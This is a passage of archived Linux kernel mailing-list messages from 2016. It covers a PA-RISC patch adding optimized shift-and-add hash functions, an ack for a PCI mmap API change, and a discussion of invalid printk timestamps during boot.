> missed to add the compat case for the SO_ATTACH_REUSEPORT_CBPF option.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

Applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Spelvin" <linux@sciencehorizons.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v3] parisc: add <asm/hash.h>
Date: 6 Jun 2016 21:22:42 -0400
Lines: 243
Approved: news@gmane.org
Message-ID: <20160607012242.5694.qmail@ns.sciencehorizons.net>
References: <5751E4FE.6040102@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465262579 10094 80.91.229.3 (7 Jun 2016 01:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jun 2016 01:22:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux@sciencehorizons.net
To: deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 07 03:22:50 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bA5jC-00018y-Rx
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Jun 2016 03:22:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751291AbcFGBWp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jun 2016 21:22:45 -0400
Original-Received: from ns.sciencehorizons.net ([71.41.210.147]:23695 "HELO
	ns.sciencehorizons.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1751039AbcFGBWo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jun 2016 21:22:44 -0400
Original-Received: (qmail 5695 invoked by uid 1000); 6 Jun 2016 21:22:42 -0400
In-Reply-To: <5751E4FE.6040102@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26843>

PA-RISC is interesting; integer multiplies are implemented in the
FPU, so are painful in the kernel.  But it tries to be friendly to
shift-and-add sequences.

__hash_32 is implemented using the same shift-and-add sequence as
Microblaze, just scheduled for the PA7100.  (It's 2-way superscalar
but in-order, like the Pentium.)

hash_64 was tricky, but a suggestion from Jason Thong allowed a good
solution by breaking up the multiplier.  After an embarrassing amount
of fiddling about, I found a 19-instruction sequence for the multiply
that can be executed in 10 cycles using only 4 temporaries.

(The PA8xxx can issue 4 instructions per cycle, but 2 must be ALU ops
and 2 must be loads/stores.  And the final add can't be paired.)

An alternative implementation is included, but not enabled by default:
Thomas Wang's 64-to-32-bit hash.  This is more compact than the multiply,
but has a slightly longer dependency chain.

Signed-off-by: George Spelvin <linux@sciencehorizons.net>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
Okay, I'm happy with this one.  Helge, could you test it whenever you
get a chance?

I've left the alternate hash_64 path in for now, but the one not chosen
should be deleted before sending to Linus.

 arch/parisc/Kconfig            |   1 +
 arch/parisc/include/asm/hash.h | 182 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 183 insertions(+)
 create mode 100644 arch/parisc/include/asm/hash.h

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 88cfaa8a..8ed2a444 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -30,6 +30,7 @@ config PARISC
 	select TTY # Needed for pdc_cons.c
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
+	select HAVE_ARCH_HASH
 	select HAVE_ARCH_SECCOMP_FILTER
 	select ARCH_NO_COHERENT_DMA_MMAP
 
diff --git a/arch/parisc/include/asm/hash.h b/arch/parisc/include/asm/hash.h
new file mode 100644
index 00000000..a21b3d2f
--- /dev/null
+++ b/arch/parisc/include/asm/hash.h
@@ -0,0 +1,182 @@
+#ifndef _ASM_HASH_H
+#define _ASM_HASH_H
+
+/*
+ * HP-PA only implements integer multiply in the FPU.  However, for
+ * integer multiplies by constant, it has a number of shift-and-add
+ * (but no shift-and-subtract, sigh!) instructions that a compiler
+ * can synthesize a code sequence with.
+ *
+ * Unfortunately, GCC isn't very efficient at using them.  For example
+ * it uses three instructions for "x *= 21" when only two are needed.
+ * But we can find a sequence manually.
+ */
+
+#define HAVE_ARCH__HASH_32 1
+
+/*
+ * This is a multiply by GOLDEN_RATIO_32 = 0x61C88647 optimized for the
+ * PA7100 pairing rules.  This is an in-order 2-way superscalar processor.
+ * Only one instruction in a pair may be a shift (by more than 3 bits),
+ * but other than that, simple ALU ops (including shift-and-add by up
+ * to 3 bits) may be paired arbitrarily.
+ *
+ * PA8xxx processors are out of order and don't need such careful
+ * scheduling.
+ *
+ * This 6-step sequence was found by Yevgen Voronenko's implementation
+ * of the Hcub algorithm at http://spiral.ece.cmu.edu/mcm/gen.html.
+ */
+static inline u32 __attribute_const__ __hash_32(u32 x)
+{
+	u32 a, b, c;
+
+	/*
+	 * Phase 1: Compute  a = (x << 19) + x,
+	 * b = (x << 9) + a, c = (x << 23) + b.
+	 */
+	a = x << 19;		/* Two shifts can't be paired */
+	b = x << 9;	a += x;
+	c = x << 23;	b += a;
+			c += b;
+	/* Phase 2: Return (b<<11) + (c<<6) + (a<<3) - c */
+	b <<= 11;
+	a += c << 3;	b -= c;
+	return (a << 3) + b;
+}
+
+#if BITS_PER_LONG == 64
+
+#define HAVE_ARCH_HASH_64 1
+
+#if HAVE_ARCH_HASH_64 == 1
+/*
+ * Multiply by GOLDEN_RATIO_64.  Finding a good shift-and-add chain for
+ * this is tricky, because available software for the purpose chokes on
+ * constants this large.  (It's mostly used for compiling FIR filter
+ * coefficients into FPGAs.)
+ *
+ * However, Jason Thong pointed out a work-around.  The Hcub software
+ * (http://spiral.ece.cmu.edu/mcm/gen.html) is designed for *multiple*
+ * constant multiplication, and is good at finding shift-and-add chains
+ * which share common terms.
+ *
+ * Looking at 0x0x61C8864680B583EB in binary:
+ * 0110000111001000100001100100011010000000101101011000001111101011
+ *  \______________/    \__________/       \_______/     \________/
+ *   \____________________________/         \____________________/
+ * you can see the non-zero bits are divided into several well-separated
+ * blocks.  Hcub can find algorithms for those terms separately, which
+ * can then be shifted and added together.
+ *
+ * Various combinations all work, but using just two large blocks,
+ * 0xC3910C8D << 31 in the high bits, and 0xB583EB in the low bits,
+ * produces as good an algorithm as any, and with one more small shift
+ * than alternatives.
+ *
+ * The high bits are a larger number and more work to compute, as well
+ * as needing one extra cycle to shift left 31 bits before the final
+ * addition, so they are the critical path for scheduling.  The low bits
+ * can fit into the scheduling slots left over.
+ *
+ * This is scheduled for the PA-8xxx series, which can issue up to
+ * 2 ALU operations (of any type, adds or shifts) per cycle.
+ *
+ * In several places, the construction asm("" : (=r) (dest) : "0" (src));
+ * is used.  This basically performs "dest = src", but prevents gcc from
+ * inferring anything about the value assigned to "dest".  This blocks it
+ * from some mistaken optimizations like rearranging "y += z; x -= y;"
+ * into "x -= z; x -= y;", or "x <<= 23; y += x; z += x << 1;" into
+ * "y += x << 23; z += x << 24;".
+ *
+ * Because the actual assembly generated is empty, this construct is
+ * usefully portable across all GCC platforms, and so can be test-compiled
+ * on non-PA systems.
+ *
+ * In two places, additional unused input dependencies are added.  This
+ * forces GCC's scheduling so it does not rearrange instructions too much.
+ */
+static __always_inline u32 __attribute_const__
+hash_64(u64 a, unsigned int bits)
+{
+	u64 b, c, d;
+
+	asm("" : "=r" (b) : "0" (a * 5));	// b = a * 5
+	c = a << 13;
+
+	b = (b << 2) + a;			// b = a * 21
+	asm("" : "=r" (d) : "0" (a << 17));	// d = a << 17
+
+	a = b + (a << 1);			// a = a * 23
+	c += d;
+
+	d = a << 10;
+	asm("" : "=r" (a) : "0" (a << 19));	// a <<= 19
+
+	d = a - d;
+	asm("" : "=r" (a) : "0" (a << 4),	// a <<= 4;
+		 "X" (d));			// Force dependency, damn it!
+
+	a += b;
+	c += b;
+
+	d -= c;
+	c += a << 1;
+
+	asm("" : "=r" (b) : "0" (b << 7+31),	// b <<= 7+31;
+		 "X" (c), "X" (d));		// Force dependency, damn it!
+	a += c << 3;
+
+	b += d;
+	a <<= 31;
+
+	a += b;
+	return a >> (64 - bits);
+}
+
+#else /* HAVE_ARCH_HASH_64 != 1 */
+/*
+ * If we don't care about matching the generic function, here's an
+ * alternative hash function; Thomas Wang's 64-to-32 bit hash function.
+ * https://web.archive.org/web/2011/http://www.concentric.net/~Ttwang/tech/inthash.htm
+ * http://burtleburtle.net/bob/hash/integer.html
+ *
+ * This algorithm concentrates the entropy in the low bits of the output,
+ * so they are returned.
+ *
+ * Compared to the multiply, this uses 2 registers (rather than 4), and
+ * 12 instructions (rather than 20), but each instruction in sequentially
+ * dependent, so it's 10 cycles (rather than 8).
+ *
+ * (In both cases, I'm not counting the final extract of the desired bits.)
+ */
+static __always_inline u32 __attribute_const__
+hash_64(u64 x, unsigned int bits)
+{
+	u64 y;
+
+	if (!__builtin_constant_p(bits))
+		asm("mtsarcm %1" : "=q" (bits) : "r" (bits));
+
+	x = ~x + (x << 18);
+	x ^= x >> 31;
+	y = x * 5;	/* GCC uses 3 instructions for "x *= 21" */
+	x += y << 2;
+	x ^= x >> 11;
+	x += x << 6;
+	x ^= x >> 22;
+
+	if (__builtin_constant_p(bits)) {
+		x = x >> (64 - bits) << (64 - bits);
+	} else {
+		asm("depdi,z -1,%%sar,64,%0" : "=r" (y) : "q" (bits));
+		x &= ~y;
+	}
+
+	return x;
+}
+
+#endif /* HAVE_ARCH_HASH_64 */
+#endif /* BITS_PER_LONG == 64 */
+
+#endif /* _ASM_HASH_H */
-- 
2.8.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v12 01/15] PCI: Let pci_mmap_page_range() take extra
 resource pointer
Date: Tue, 7 Jun 2016 10:04:30 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20160607080430.GI3183@axis.com>
References: <20160604000642.28162-1-yinghai@kernel.org>
 <20160604000642.28162-2-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465286689 21704 80.91.229.3 (7 Jun 2016 08:04:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jun 2016 08:04:49 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	David Miller <davem@davemloft.net>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Wei Yang <weiyang@linux.vnet.ibm.com>,
	Khalid Aziz <khalid.aziz@oracle.com>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
	linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org
To: Yinghai Lu <yinghai@kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Jun 07 10:04:42 2016
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1bAC09-0005WW-W8
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 07 Jun 2016 10:04:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753235AbcFGIEk (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 7 Jun 2016 04:04:40 -0400
Original-Received: from bastet.se.axis.com ([195.60.68.11]:50901 "EHLO
	bastet.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753216AbcFGIEg (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 7 Jun 2016 04:04:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bastet.se.axis.com (Postfix) with ESMTP id C4CBC181B6;
	Tue,  7 Jun 2016 10:04:33 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at bastet.se.axis.com
Original-Received: from bastet.se.axis.com ([IPv6:::ffff:127.0.0.1])
	by localhost (bastet.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id CLAa7SuxY0HR; Tue,  7 Jun 2016 10:04:32 +0200 (CEST)
Original-Received: from boulder.se.axis.com (boulder.se.axis.com [10.0.2.104])
	by bastet.se.axis.com (Postfix) with ESMTP id 3AF9F18184;
	Tue,  7 Jun 2016 10:04:31 +0200 (CEST)
Original-Received: from boulder.se.axis.com (localhost [127.0.0.1])
	by postfix.imss71 (Postfix) with ESMTP id E2C671B7F;
	Tue,  7 Jun 2016 10:04:30 +0200 (CEST)
Original-Received: from thoth.se.axis.com (thoth.se.axis.com [10.0.2.173])
	by boulder.se.axis.com (Postfix) with ESMTP id D6CC116CC;
	Tue,  7 Jun 2016 10:04:30 +0200 (CEST)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
	by thoth.se.axis.com (Postfix) with ESMTP id D198110E8;
	Tue,  7 Jun 2016 10:04:30 +0200 (CEST)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
	id CCA4C800EB; Tue,  7 Jun 2016 10:04:30 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20160604000642.28162-2-yinghai@kernel.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:26857 gmane.linux.kernel.pci:52390 gmane.linux.kernel:2237104 gmane.linux.ports.arm.kernel:504573 gmane.linux.ports.mips.general:55055 gmane.linux.ports.parisc:26844 gmane.linux.ports.ppc64.devel:128195 gmane.linux.ports.sh.devel:54173 gmane.linux.ports.sparc:23042
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/26857>

On Fri, Jun 03, 2016 at 05:06:28PM -0700, Yinghai Lu wrote:
> This one is preparing patch for next one:
>   PCI: Let pci_mmap_page_range() take resource addr
> 
> We need to pass extra resource pointer to avoid searching that again
> for powerpc and microblaze prot set operation.
> 
> Signed-off-by: Yinghai Lu <yinghai@kernel.org>
> Cc: linux-arm-kernel@lists.infradead.org

For the CRIS part:

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

> diff --git a/arch/cris/arch-v32/drivers/pci/bios.c b/arch/cris/arch-v32/drivers/pci/bios.c
> index 64a5fb9..082efb9 100644
> --- a/arch/cris/arch-v32/drivers/pci/bios.c
> +++ b/arch/cris/arch-v32/drivers/pci/bios.c
> @@ -14,7 +14,8 @@ void pcibios_set_master(struct pci_dev *dev)
>  	pci_write_config_byte(dev, PCI_LATENCY_TIMER, lat);
>  }
>  
> -int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
> +int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
> +			struct vm_area_struct *vma,
>  			enum pci_mmap_state mmap_state, int write_combine)
>  {
>  	unsigned long prot;
> diff --git a/arch/cris/include/asm/pci.h b/arch/cris/include/asm/pci.h
> index b1b289d..65198cb 100644
> --- a/arch/cris/include/asm/pci.h
> +++ b/arch/cris/include/asm/pci.h
> @@ -42,9 +42,6 @@ struct pci_dev;
>  #define PCI_DMA_BUS_IS_PHYS	(1)
>  
>  #define HAVE_PCI_MMAP
> -extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
> -			       enum pci_mmap_state mmap_state, int write_combine);
> -
>  
>  #endif /* __KERNEL__ */

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: invalid printk time during boot on PA-RISC
Date: Tue, 7 Jun 2016 18:47:19 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <5756FA97.403@gmx.de>
References: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com>
 <20160601211248.GA15061@p100.box>
 <20160601213628.GC5218@raspberrypi.musicnaut.iki.fi>
 <20160603172231.GA4592@ls3530.box>
 <alpine.LRH.2.02.1606061250160.22217@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465318077 18397 80.91.229.3 (7 Jun 2016 16:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jun 2016 16:47:57 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 07 18:47:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bAKAF-0004dr-5k
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Jun 2016 18:47:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753983AbcFGQri (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jun 2016 12:47:38 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:50980 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751833AbcFGQrh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jun 2016 12:47:37 -0400
Original-Received: from [192.168.20.60] ([92.203.41.51]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LZz01-1btWLc13m9-00lp9c; Tue, 07 Jun 2016 18:47:21
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.02.1606061250160.22217@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:vICqtXWL5hK63hlE16zh9/py3782laaMQSs1lTIdYlnlF8tFGZy
 1/7/Bw5C7ayPbnmr7Fwtn3bmjdcR7zQ8RzUPx33aLKHfnX4rc8sqDLrMKst+IbZl7AoEHZq
 LSyevSO5HyxMtSQYniwqKZip5n4X+iucMqkgzOhAcVTRbvZxyuMdax+y8fj5iiTMASPOurR
 t4Qt3leA12iAndRym0I8A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zyStD5rlrUg=:YRb0V8G/JjByOE2Yz4ySGF
 bLknFJuzfHxx5fidACguhetJZACJfToOVA7iVShOv6rjBN4kkwXLT5sBaIRy7kyxQLa2sMKQB
 XsjEVRhCDR30tLNNZM5fc3om9+a0zsmzMh4J7Z3dBwv2wZrDzEYqwEE/HPLeBIkeUvm7w2fVZ
 boyunCACjnmKy2GjhKRwMU2uAQ7yFlJ51ntd3v2KA2cBa/AoOH98KvQ4hkigUp+nlTTlrKK1J
 oofZIoxqUFgIPVSFVFpdMPT5hjFlVPdVNMyc4EYnbnJCuX56Sz5xp6+8r8V0I+GvyTruwy5Zy
 W3CH1SREDNGy60h+js67zbdBuC3dGHnZhVdVLWawP3y5eJq8wfCj9nTcjYZtOev18IsjrfZ2s
 +rYsNGGriBI8S+tuFbfVGmkr0+tc4ncmjcdavY4QO5eFo3+KM1IQFZwbE609HSJooAuWmEjKE
 myM0uCIONxSTZRPcPU5G+lWPHJExq+t5dwQpPEuITVJWp/lcaMWaleeperK+crG/GyFpdTRfE
 vHUswuflQUIq7Fg2YIiZIu/n8symnZKuE4+TTemuD01yMnSTRRtw8ju6fDVn+D+kgdkIwFBDb
 e4x3nLXwMnKxb1kGPGQnfrgLzU/oBxhJQDXYgEmJIRQAPPALgAJA58cJZrLMk6XPiK0RJwmWI
 erRyp+TvXPMK66UyvfVV1cRB4HlPNyqxI+F3iyN0tScy5iX3dDiHyepVToPkV3oW9WDXK7GLS
 pMxl/71Nfn24AXbT72q595bclyT6MYvTJWp+07uBs+cDaZlv/uolnTVZi830gxHdonNzXTgP 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26845>

On 06.06.2016 18:51, Mikulas Patocka wrote:
> 
> 
> On Fri, 3 Jun 2016, Helge Deller wrote:
> 
>> * Aaro Koskinen <aaro.koskinen@iki.fi>:
>>> Hi,
>>>
>>> On Wed, Jun 01, 2016 at 11:12:48PM +0200, Helge Deller wrote:
>>>> It fixes the problem mostly for me, there is just one little glitch
>>>> left, which is that the lines "FP[x] enabled" will still print an
>>>> invalid time. I assume it's because when this text is printed, the
>>>> clock/interrupts for the just booted CPU aren't enabled yet.
>>>>
>>>> I'm not sure it's worth trying to fix that. 
>>>> One could print out that info at a later time, or just disabled it.
>>>>
>>>> Helge
>>>>
>>>> [    5.720014] Enabling PDC_PAT chassis codes support v0.05
>>>> [    6.644542] Releasing cpu 1 now, hpa=fffffffffe781000
>>>> [    0.196000] FP[1] enabled: Rev 1 Model 20
>>>> [    7.088432] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online
>>>
>>> Some tools that analyze boot time based on dmesg might get confused.
>>
>> Yes, valid point.
>> Updated patch below.
>>
>> Helge
>>
>> __________
>>
>>
>> parisc: Fix printk time during boot
>>
>> Avoid showing invalid printk time stamps during boot.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
>> index e81ccf1..5adc339 100644
>> --- a/arch/parisc/kernel/processor.c
>> +++ b/arch/parisc/kernel/processor.c
>> @@ -324,8 +324,9 @@ int init_per_cpu(int cpunum)
>>  		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
>>  		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
>>  
>> -		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
>> -			cpunum, coproc_cfg.revision, coproc_cfg.model);
>> +		if (cpunum == 0)
>> +			printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
>> +				cpunum, coproc_cfg.revision, coproc_cfg.model);
> 
> BTW. you could also remove "[%d] cpunum" from printk --- if cpunum is 
> always 0 here.

Right. But I pushed my patch already upstream.
Maybe in the next round, or we drop this line completely.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH v12.update 01/15] PCI: Let pci_mmap_page_range() take extra resource pointer
Date: Tue,  7 Jun 2016 11:08:46 -0700
Lines: 460
Approved: news@gmane.org
Message-ID: <20160607180847.15205-1-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465323001 1281 80.91.229.3 (7 Jun 2016 18:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jun 2016 18:10:01 +0000 (UTC)
Cc: Wei Yang <weiyang@linux.vnet.ibm.com>,
        Khalid Aziz <khalid.aziz@oracle.com>,
        linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
        Yinghai Lu <yinghai@kernel.org>,
        linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org
To: Bjorn Helgaas <bhelgaas@google.com>,
        David Miller <davem@davemloft.net>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Jun 07 20:09:49 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1bALRj-00033A-GO
	for sgi-linux-mips@gmane.org; Tue, 07 Jun 2016 20:09:47 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:55906 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27032877AbcFGSJpMgHJg (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 7 Jun 2016 20:09:45 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 07 Jun 2016 20:09:31 +0200 (CEST)
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:51100 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S27031363AbcFGSJ2jnvIg (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 7 Jun 2016 20:09:28 +0200
Original-Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id u57I96VD027391
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Tue, 7 Jun 2016 18:09:07 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by userv0022.oracle.com (8.14.4/8.13.8) with ESMTP id u57I93oR019035
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Tue, 7 Jun 2016 18:09:03 GMT
Original-Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18])
        by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id u57I91fG016409;
        Tue, 7 Jun 2016 18:09:02 GMT
Original-Received: from userv0022.oracle.com (/10.132.126.127)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Tue, 07 Jun 2016 11:09:01 -0700
X-Mailer: git-send-email 2.8.3
X-Source-IP: userv0022.oracle.com [156.151.31.74]
X-archive-position: 53899
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: yinghai@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
